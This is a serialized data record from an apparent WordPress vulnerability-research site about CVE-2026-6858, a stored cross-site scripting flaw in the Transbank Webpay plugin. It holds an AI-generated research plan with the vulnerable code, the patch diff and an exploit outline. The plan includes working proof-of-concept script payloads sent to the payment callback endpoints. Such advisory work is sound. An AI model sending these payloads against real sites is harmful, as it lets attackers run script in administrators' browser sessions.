[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fO3FHm1Zcs0wpPtc0RrzEdi_DjPLBZY0r7uXPwAkBwUY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-6858","transbank-webpay-unauthenticated-stored-cross-site-scripting","Transbank Webpay \u003C 1.14.0 - Unauthenticated Stored Cross-Site Scripting","The Transbank Webpay plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 1.14.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","transbank-webpay-plus-rest",null,"\u003C1.14.0","1.14.0","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-22 00:00:00","2026-06-23 15:32:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe5df0eea-6b09-4212-9a74-ae145763e972?source=api-prod",2,[22,23,24,25,26,27,28],"load-autoloader.php","readme.txt","shared\u002FHelpers\u002FPluginLogger.php","src\u002FControllers\u002FCommitWebpayController.php","src\u002FControllers\u002FFinishOneclickController.php","templates\u002Fadmin\u002Flog.php","vendor-prefixed\u002Fcomposer\u002Fautoload_psr4.php","researched",false,3,"This research plan targets **CVE-2026-6858**, a high-severity unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the Transbank Webpay plugin for WordPress.\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the plugin's logging mechanism. The plugin captures unauthenticated payment gateway callbacks and logs the entire request payload (GET\u002FPOST parameters) to a file. When an administrator views these logs in the WordPress dashboard, the plugin renders the log contents in a template without applying any HTML sanitization or output escaping. This allows an attacker to inject malicious scripts into the log file via a specially crafted HTTP request, which will then execute in the context of the administrator's session.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** Any endpoint that triggers the `CommitWebpayController::process()` or `FinishOneclickController::process()` methods.\n*   **Primary Target:** The WooCommerce API callback endpoint: `\u002F?wc-api=WC_Gateway_Transbank_Webpay_Plus_Rest` (inferred action name).\n*   **Vulnerable Parameter:** Any parameter sent in the GET or POST request to this endpoint (e.g., `token_ws`, `TBK_TOKEN`, or arbitrary custom parameters).\n*   **Authentication:** No authentication is required to send data to the callback endpoint.\n*   **Preconditions:** The Transbank Webpay plugin must be active and WooCommerce must be installed.\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated attacker sends a request to the WooCommerce API callback handled by the plugin.\n2.  **Trigger:** The request is routed to `Transbank\\WooCommerce\\WebpayRest\\Controllers\\CommitWebpayController::process()`.\n3.  **Source (Logging):** Inside `process()`, the controller retrieves the request method and payload:\n    ```php\n    \u002F\u002F CommitWebpayController.php lines 74-76\n    $requestMethod = $_SERVER['REQUEST_METHOD'];\n    $request = $requestMethod === 'POST' ? $_POST : $_GET;\n    \u002F\u002F CommitWebpayController.php line 79\n    $this->log->logInfo(\"Request payload\", $request);\n    ```\n4.  **Storage:** The `PluginLogger::logInfo()` method (in `shared\u002FHelpers\u002FPluginLogger.php`) uses Monolog to write this data to a `.log` file in `wp-content\u002Fuploads\u002Ftransbank_webpay_plus_rest\u002Flogs\u002F`. The payload is JSON-encoded into the \"context\" part of the log line.\n5.  **Sink (Rendering):** An administrator navigates to the \"Logs\" tab in the plugin settings. This loads the `templates\u002Fadmin\u002Flog.php` template.\n6.  **Unescaped Output:** The template reads the log file and iterates through the lines:\n    ```php\n    \u002F\u002F templates\u002Fadmin\u002Flog.php lines 105-114\n    $chunks = explode(' > ', $line);\n    $message = $chunks[2] ?? null; \u002F\u002F The log message + JSON context\n    if (!is_null($date) && !is_null($level) && !is_null($message)) {\n        $logContent .= '\u003Cpre class=\"log-line\">' . $date . ' > ' .\n            '\u003Cspan class=\"log-' . strtolower($level) . '\">' . $level . '\u003C\u002Fspan> > ' . $message .\n            '\u003C\u002Fpre>';\n    }\n    \u002F\u002F templates\u002Fadmin\u002Flog.php line 118\n    echo $logContent; \u002F\u002F XSS SINK: Unescaped output to the browser\n    ```\n\n### 4. Nonce Acquisition Strategy\nThe injection phase involves an unauthenticated callback intended for the Transbank payment gateway.\n*   **Injection Endpoint:** `CommitWebpayController::process()` does **not** perform any nonce verification or authentication check before logging the request payload. Therefore, **no nonce is needed** to inject the malicious payload.\n*   **Admin View:** Accessing the logs page requires administrative privileges. If the exploit requires a nonce for an admin-side CSRF chain, the agent should:\n    1.  Create a test page to trigger plugin script loading (if needed).\n    2.  Navigate to the Transbank settings: `\u002Fwp-admin\u002Fadmin.php?page=transbank_webpay_plus_rest&tbk_tab=logs`.\n    3.  Extract the nonce from the `btnDownload` logic if needed for further actions (though the primary goal is stored XSS execution).\n\n### 5. Exploitation Strategy\nThe goal is to inject a script that will execute when the admin views the logs.\n\n**Step 1: Inject the XSS Payload**\nSend an HTTP POST request to the WooCommerce API callback endpoint.\n*   **Tool:** `http_request`\n*   **URL:** `{{BASE_URL}}\u002F?wc-api=WC_Gateway_Transbank_Webpay_Plus_Rest`\n*   **Method:** `POST`\n*   **Headers:** `{\"Content-Type\": \"application\u002Fx-www-form-urlencoded\"}`\n*   **Body:** `token_ws=\u003Cscript>alert(document.domain)\u003C\u002Fscript>&TBK_TOKEN=dummy`\n\n*Note: Monolog will JSON-encode the payload, but the template will echo the resulting string (e.g., `{\"token_ws\":\"\u003Cscript>...\"}`) directly into the HTML, where the browser will parse the script tags.*\n\n**Step 2: Trigger the XSS**\nAs an administrator, navigate to the logs viewer.\n*   **Tool:** `browser_navigate`\n*   **URL:** `{{BASE_URL}}\u002Fwp-admin\u002Fadmin.php?page=transbank_webpay_plus_rest&tbk_tab=logs`\n\n### 6. Test Data Setup\n1.  **Install & Activate:** WooCommerce and the Transbank Webpay plugin (v1.13.0).\n2.  **Configure:** Minimal configuration of Transbank is usually required for the callback routes to be active. Ensure logs are enabled (usually default).\n3.  **Admin User:** Ensure an admin user exists to view the logs.\n\n### 7. Expected Results\n*   The injection request should return a `200 OK` or a `500 Error` (it doesn't matter, as logging occurs before the error).\n*   The log file in the `uploads` directory should contain the literal string `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\n*   When the administrator visits the logs page, an alert box showing the document domain should appear.\n\n### 8. Verification Steps\n1.  **Check Log File Content:**\n    ```bash\n    wp eval 'echo file_get_contents(wp_upload_dir()[\"basedir\"] . \"\u002Ftransbank_webpay_plus_rest\u002Flogs\u002F\" . get_transient(\"transbank_log_file_name\"));'\n    ```\n    Confirm the payload is present in the output.\n2.  **Verify Admin Execution:** Use `browser_eval` on the logs page to check if the payload was rendered:\n    ```javascript\n    \u002F\u002F Check if any script contains our payload\n    document.body.innerHTML.includes('\u003Cscript>alert(document.domain)\u003C\u002Fscript>')\n    ```\n\n### 9. Alternative Approaches\n*   **Oneclick Controller:** If `CommitWebpayController` is disabled, try the Oneclick endpoint:\n    `{{BASE_URL}}\u002F?wc-api=WC_Gateway_Transbank_Oneclick_Rest`\n    Payload: `TBK_TOKEN=\u003Cscript>console.log(\"XSS\")\u003C\u002Fscript>&TBK_ID_SESION=123`\n*   **Log Injection via Headers:** Since `Monolog` can log HTTP headers in some configurations, try injecting into the `User-Agent` or `Referer` headers, though the controller explicitly logs the `$request` array.","The Transbank Webpay plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting due to improper handling of request data in its logging mechanism. Attackers can inject malicious JavaScript into log files via payment gateway callback parameters, which is then executed in an administrator's browser when they view the logs in the plugin settings page.","\u002F\u002F src\u002FControllers\u002FCommitWebpayController.php lines 74-79\n            $requestMethod = $_SERVER['REQUEST_METHOD'];\n            $request = $requestMethod === 'POST' ? $_POST : $_GET;\n            $this->log->logInfo('Procesando retorno desde formulario de Webpay.');\n            $this->log->logInfo(\"Request method: {$requestMethod}\");\n            $this->log->logInfo(\"Request payload\", $request);\n\n---\n\n\u002F\u002F templates\u002Fadmin\u002Flog.php lines 107-123\n        foreach ($logLines as $line) {\n            $chunks = explode(' > ', $line);\n\n            $date = $chunks[0];\n            $level = $chunks[1] ?? null;\n            $message = $chunks[2] ?? null;\n\n            if (!is_null($date) && !is_null($level) && !is_null($message)) {\n                $logContent .= '\u003Cpre class=\"log-line\">' . $date . ' > ' .\n                    '\u003Cspan class=\"log-' . strtolower($level) . '\">' . $level . '\u003C\u002Fspan> > ' . $message .\n                    '\u003C\u002Fpre>';\n            }\n        }\n        $logContent .= '\u003C\u002Fdiv>';\n        echo $logContent;","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftransbank-webpay-plus-rest\u002F1.13.0\u002Fshared\u002FHelpers\u002FPluginLogger.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftransbank-webpay-plus-rest\u002F1.14.0\u002Fshared\u002FHelpers\u002FPluginLogger.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftransbank-webpay-plus-rest\u002F1.13.0\u002Fshared\u002FHelpers\u002FPluginLogger.php\t2026-03-31 15:17:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftransbank-webpay-plus-rest\u002F1.14.0\u002Fshared\u002FHelpers\u002FPluginLogger.php\t2026-04-28 14:28:36.000000000 +0000\n@@ -92,6 +92,38 @@\n         $this->logger->error($msg, $context);\n     }\n \n+    public static function sanitizeContextForLogs(array $context): array\n+    {...}\n+\n+    private static function sanitizeLogValue(mixed $value, int $depth = 0): mixed\n+    {\n+        if ($depth > self::MAX_LOG_DEPTH) {\n+            return '[array too deep]';\n+        }\n+\n+        $sanitizedValue = null;\n+\n+        if (is_array($value)) {\n+            $sanitizedValue = array_map(function ($nestedValue) use ($depth) {\n+                return self::sanitizeLogValue($nestedValue, $depth + 1);\n+            }, $value);\n+        } elseif (is_null($value) || is_bool($value) || is_int($value) || is_float($value)) {\n+            $sanitizedValue = $value;\n+        } else {\n+            $sanitizedValue = sanitize_text_field(wp_strip_all_tags((string) $value));\n+        }\n+\n+        return $sanitizedValue;\n+    }\n+\n     public function getInfo()\n     {\n         $files = glob($this->config->getLogDir() . '\u002F*.log');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftransbank-webpay-plus-rest\u002F1.13.0\u002Fsrc\u002FControllers\u002FCommitWebpayController.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftransbank-webpay-plus-rest\u002F1.14.0\u002Fsrc\u002FControllers\u002FCommitWebpayController.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftransbank-webpay-plus-rest\u002F1.13.0\u002Fsrc\u002FControllers\u002FCommitWebpayController.php\t2026-03-31 15:17:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftransbank-webpay-plus-rest\u002F1.14.0\u002Fsrc\u002FControllers\u002FCommitWebpayController.php\t2026-04-28 14:28:36.000000000 +0000\n@@ -55,12 +56,25 @@\n     public function process(): void\n     {\n         try {\n-            $requestMethod = $_SERVER['REQUEST_METHOD'];\n-            $request = $requestMethod === 'POST' ? $_POST : $_GET;\n+            $requestMethod = RequestInputHelper::resolveRequestMethod($_SERVER);\n+            $rawRequest = $requestMethod === 'POST' ? $_POST : $_GET;\n+            $request = RequestInputHelper::sanitizeExpectedFields($rawRequest, [\n+                'token_ws',\n+                'TBK_TOKEN',\n+                'TBK_ID_SESION',\n+                'TBK_ORDEN_COMPRA',\n+            ]);\n+            $webpayFlow = $this->getWebpayFlow($request);\n             $this->log->logInfo('Procesando retorno desde formulario de Webpay.');\n-            $this->log->logInfo(\"Request method: {$requestMethod}\");\n-            $this->log->logInfo(\"Request payload\", $request);\n-            $this->handleFormReturn($request);\n+            $this->log->logInfo('Resumen de retorno de Webpay', PluginLogger::sanitizeContextForLogs([\n+                'method' => $requestMethod,\n+                'flow' => $webpayFlow,\n+                'token_ws' => $request['token_ws'] ?? null,\n+                'TBK_TOKEN' => $request['TBK_TOKEN'] ?? null,\n+                'TBK_ID_SESION' => $request['TBK_ID_SESION'] ?? null,\n+                'TBK_ORDEN_COMPRA' => $request['TBK_ORDEN_COMPRA'] ?? null,\n+            ]));\n+            $this->handleFormReturn($request, $webpayFlow);\n         } catch (\\Exception | \\Error $e) {\n             $this->log->logError('Error en el proceso de validación de pago', ['error' => $e->getMessage()]);\n             $this->setPaymentErrorPage(self::WEBPAY_EXCEPTION_FLOW_MESSAGE);","1. An unauthenticated attacker identifies the Transbank callback endpoint (e.g., `\u002F?wc-api=WC_Gateway_Transbank_Webpay_Plus_Rest`).\n2. The attacker sends a POST or GET request to this endpoint containing a parameter like `token_ws` or `TBK_TOKEN` populated with a malicious XSS payload (e.g., `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`).\n3. The `CommitWebpayController` (or `FinishOneclickController`) captures the raw request payload and passes it to the `PluginLogger` without sanitization.\n4. Monolog writes the JSON-encoded payload into a `.log` file within the `uploads\u002Ftransbank_webpay_plus_rest\u002Flogs\u002F` directory.\n5. An administrator navigates to the plugin settings and selects the \"Logs\" tab, which triggers `templates\u002Fadmin\u002Flog.php` to render the log content.\n6. Because the template echoes the log message directly without HTML escaping, the browser parses and executes the injected script.","gemini-3-flash-preview","2026-06-25 19:51:18","2026-06-25 19:52:32",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","1.13.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftransbank-webpay-plus-rest\u002Ftags\u002F1.13.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftransbank-webpay-plus-rest.1.13.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftransbank-webpay-plus-rest\u002Ftags\u002F1.14.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftransbank-webpay-plus-rest.1.14.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftransbank-webpay-plus-rest\u002Ftags"]